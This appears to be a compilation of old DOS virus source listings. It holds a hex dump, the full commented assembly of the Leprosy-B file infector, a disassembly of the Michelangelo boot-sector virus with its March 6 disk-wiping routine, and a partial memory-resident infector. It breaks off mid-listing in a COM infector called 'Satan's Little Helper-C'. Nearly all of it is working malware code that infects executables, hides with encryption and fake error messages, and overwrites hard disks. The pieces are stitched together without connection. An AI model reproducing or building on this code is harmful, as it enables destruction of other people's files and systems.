;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910 4D 73 44 6F 73
;-----------------------------------------------------------------------;
END
; - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
title "Leprosy-B Virus by PCM2, August 1990"
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main
; Michelangelo
; Size: 512
; Type: Boot infector
; Date of action: March 6th
;
;
start:
jmp loc_6 ; (01AF) "This is what you see at sector 0"
db 0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
db 0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
db 50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
db 0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
db 4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
db 9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
db 2, 0, 58h, 1Fh, 2Eh, 0FFh
db 2Eh, 0Ah, 0, 50h, 53h, 51h
db 52h, 1Eh, 6, 56h, 57h, 0Eh
db 1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jnc loc_2 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
dec si
jnz loc_1 ; Jump if not zero
jmp short loc_5 ; (01A6)
loc_2: ;Zero registers clear direction
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_3 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_5 ; Jump if equal
loc_3: ; cmp byte ptr See infected
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_4 ; Jump if equal
mov cl,0Eh
loc_4: ;call out all db hiden data
mov ds:data_8e,cx ; (694E:0008=0)
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jc loc_5 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h ; to es:[di]
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
loc_5: ;Clear all set
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_6: ;Load all hiden data
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_1e ; (0000:004C=1DB1h)
mov ds:data_5e,ax ; (0000:7C0A=49EBh)
mov ax,ds:data_2e ; (0000:004E=70h)
mov ds:data_6e,ax ; (0000:7C0C=2A3Ch)
mov ax,ds:data_3e ; (0000:0413=280h)
dec ax
dec ax
mov ds:data_3e,ax ; (0000:0413=280h)
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_4e,ax ; (0000:7C05=203Ch)
mov ax,0Eh
mov ds:data_1e,ax ; (0000:004C=1DB1h)
mov ds:data_2e,es ; (0000:004E=70h)
mov cx,1BEh
mov si,7C00h
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep while cx>0 Mov [si]
jmp dword ptr cs:data_11e ; to es:[di] (694E:7C03=0)
db 33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
db 0Eh, 1Fh, 0B8h, 1, 2, 0BBh ; cd 13
db 0, 7Ch, 8Bh, 0Eh, 8, 0
db 83h, 0F9h, 7, 75h, 7, 0BAh
db 80h, 0, 0CDh, 13h, 0EBh, 2Bh
db 8Bh, 0Eh, 8, 0, 0BAh, 0
db 1, 0CDh, 13h, 72h, 20h, 0Eh
db 7, 0B8h, 1, 2, 0BBh, 0
db 2, 0B9h, 1, 0, 0BAh, 80h
db 0, 0CDh, 13h, 72h, 0Eh, 33h
db 0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
db 4Fh, 0ADh, 3Bh, 47h, 2
db 75h, 49h
loc_7:;check if it is time to nuke
xor cx,cx ; Zero register
mov ah,4
int 1Ah ; Real time clock ah=func 04h don't work on an xt
; read date cx=year, dx=mon/day
cmp dx,306h ; See if March 6th
je loc_8 ; Jump if equal to nuking subs
retf ; Return to launch command.com
loc_8:;get ready
xor dx,dx ; Zero register
mov cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
mov ax,309h
mov si,ds:data_8e ; (694E:0008=0)
cmp si,3
je loc_10 ; Jump if equal
mov al,0Eh
cmp si,0Eh
je loc_10 ; Jump if equal
mov dl,80h
mov byte ptr ds:data_7e,4 ; (694E:0007=0)
mov al,11h
loc_10: ;nuke away
mov bx,5000h
mov es,bx
int 13h ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
jnc loc_11 ; Jump if carry=0
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a: ah=func 00h
; reset disk, al=return status
loc_11: ;rest for loc-9 nuking
inc dh
cmp dh,ds:data_7e ; (694E:0007=0)
jb loc_9 ; Jump if below
xor dh,dh ; Zero register
inc ch
jmp short loc_9 ; (0250)
loc_12:;time to infect a floppie or hard dirve
mov cx,7
mov ds:data_8e,cx ; (694E:0008=0)
mov ax,301h
mov dx,80h
int 13h ; Disk dl=drive a: ah=func 03h infect flopie
; write sectors from mem es:bx
jc loc_7 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h : to es:[di]
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive a: ah=func 03h lets infect hd
; write sectors from mem es:bx
;* jmp short loc_13 ;*(02E0)
db 0EBh, 32h
db 1, 4, 11h, 0, 80h, 0
db 5, 5, 32h, 1, 0, 0
db 0, 0, 0
db 53h, 53h, 20h, 20h, 43h, 4Fh
db 4Dh
db 58 dup (0)
db 55h, 0AAh
seg_a ends
;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
murphy proc far
start:
jmp loc_28 ; (0466)
db 0C3h
db 23 dup (0C3h)
db 2Ah, 2Eh, 45h, 58h, 45h, 0
data_17 dw 0C3C3h
data_18 dw 0C3C3h
data_19 db 0, 0
data_20 dw 0
data_21 dw 0
data_22 dw 0
data_23 dw 7415h
data_24 dd 00000h
data_25 dw 0
data_26 dw 7415h
data_27 dd 00000h
data_28 dw 0
data_29 dw 7415h
db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
db 'ta Swami Prabhupada (1896-1977)', 0Ah
db 0Dh, 0Ah, 0Dh, '$'
db '=MKu', 9, 'U'
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3, 0E9h, 0BEh
db 0, 6, 1Eh, 57h, 56h, 55h
db 52h, 51h, 53h, 50h, 0E8h, 48h
db 2, 0E8h, 82h, 2, 3Dh, 0
db 6Ch, 75h, 2, 8Bh, 0D6h
loc_1:
mov cx,80h
mov si,dx
locloop_2:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_2 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4D4Fh
je loc_5 ; Jump if equal
cmp word ptr [si],4558h
je loc_4 ; Jump if equal
loc_3:
jmp short loc_12 ; (024A)
db 90h
loc_4:
cmp word ptr [si-4],4E41h
je loc_6 ; Jump if equal
cmp word ptr [si-4],444Ch
je loc_6 ; Jump if equal
cmp word ptr [si-4],4A52h
je loc_6 ; Jump if equal
jnz loc_7 ; Jump if not zero
loc_5:
cmp word ptr [si-4],444Eh
je loc_3 ; Jump if equal
jnz loc_8 ; Jump if not zero
loc_6:
int 19h ; Bootstrap loader
loc_7:
jz loc_8 ; Jump if zero
loc_8:
mov ax,3D02h
call sub_5 ; (03E5)
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5 ; (03E5)
mov cs:data_20,cx ; (7415:0127=0)
mov cs:data_21,dx ; (7415:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03E5)
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5 ; (03E5)
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1 ; (025B)
jmp short loc_10 ; (0233)
loc_9:
call sub_4 ; (036B)
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_20 ; (7415:0127=0)
mov dx,cs:data_21 ; (7415:0129=0)
call sub_5 ; (03E5)
loc_11:
mov ah,3Eh ; '>'
call sub_5 ; (03E5)
loc_12:
call sub_7 ; (0429)
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_24 ; (7415:012F=0)
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_25 ; (7415:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=156h)
mov word ptr ds:data_5e+2,es ; (0000:0092=124Ch)
les ax,dword ptr cs:data_28 ; (7415:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=774h)
mov word ptr ds:data_1e+2,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_7 endp
sub_10 proc near
mov ax,4B4Dh
nop
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_29 ; Jump if carry Set
jmp loc_39 ; (059C)
loc_29:
pop si
push si
nop
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr
mov cs:data_38e[si],ax ; (7415:FCCD=0)
mov cs:data_39e[si],es ; (7415:FCCF=0)
les bx,dword ptr ds:data_3e ; (0000:0084=40EBh) Load 32 bit ptr
mov cs:data_36e[di],bx ; (7415:FCC5=0)
mov cs:data_37e[di],es ; (7415:FCC7=0)
mov ax,ds:data_7e ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_37 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=0F000h)
cmp ax,0F000h
je loc_30 ; Jump if equal
cmp ah,0C8h
jb loc_37 ; Jump if below
cmp ah,0F4h
jae loc_37 ; Jump if above or =
test al,7Fh
jnz loc_37 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_40e,0AA55h ; (F000:0000=0AA55h)
jne loc_37 ; Jump if not equal
mov dl,ds:data_41e ; (F000:0002=40h)
loc_30:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_31:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_32 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_33 ; Jump if equal
jnz loc_34 ; Jump if not zero
loc_32:
cmp ax,0C2F6h
jne loc_35 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_34 ; Jump if not equal
loc_33:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_36 ; Jump if equal
sub si,3
loc_34:
dec si
dec si
loc_35:
dec si
loop locloop_31 ; Loop if cx > 0
jmp short loc_37 ; (050B)
loc_36:
sub si,7
mov cs:data_38e[di],si ; (7415:FCCD=0)
mov cs:data_39e[di],ds ; (7415:FCCF=0)
loc_37:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,50h
nop
jc loc_39 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Fh
stc ; Set carry flag
sbb es:data_12e,bx ; (40EB:0002=0FFFFh)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_11e,8 ; (4099:0001=0FFFFh)
call sub_8 ; (0451)
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8 ; (0451)
add ax,ds:data_13e ; (40EB:0006=0FFFFh)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_38 ; Jump if carry Set
sub ds:data_13e,ax ; (40EB:0006=0FFFFh)
loc_38:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,36Ah
mov cx,4E2h
inc cx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_10e,5Ah ; (4098:0000=0FFh) 'Z'
mov dx,173h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=40EBh)
mov word ptr ds:data_3e+2,es ; (0000:0086=11h)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=14h)
loc_39:
pop si
cmp word ptr cs:data_31e[si],5A4Dh ; (7415:FC99=0)
jne loc_40 ; Jump if not equal
pop ds
mov ax,cs:data_35e[si] ; (7415:FCBB=0)
mov bx,cs:data_34e[si] ; (7415:FCB9=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_33e[si] ; (7415:FCB7=0)
push ds
pop es
call sub_9 ; (0457)
retf ; Return far
loc_40:
pop ax
mov ax,cs:data_31e[si] ; (7415:FC99=0)
mov word ptr cs:[100h],ax ; (7415:0100=63E9h)
mov ax,cs:data_32e[si] ; (7415:FC9B=0)
mov word ptr cs:[102h],ax ; (7415:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9 ; (0457)
retn
sub_10 endp
seg_a ends
end start
; Virus
; Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |
nop ; |
nop ; |
v_start:
call $+3 ;Actual virus
pop dx
sub dx, 3
push dx ;save relocation factor in BP
pop bp ;so virus can be copied anywhere twoards
mov si, dx ;the end of the file
;
; Replace first 5 bytes in memory with original
; program code so normal program can run later
add si, first_five
mov di, 0100h
mov cx, 5
lodsb
stosb
loop $-2
;see if user want to disinfect this file
mov si, 82h
lodsb
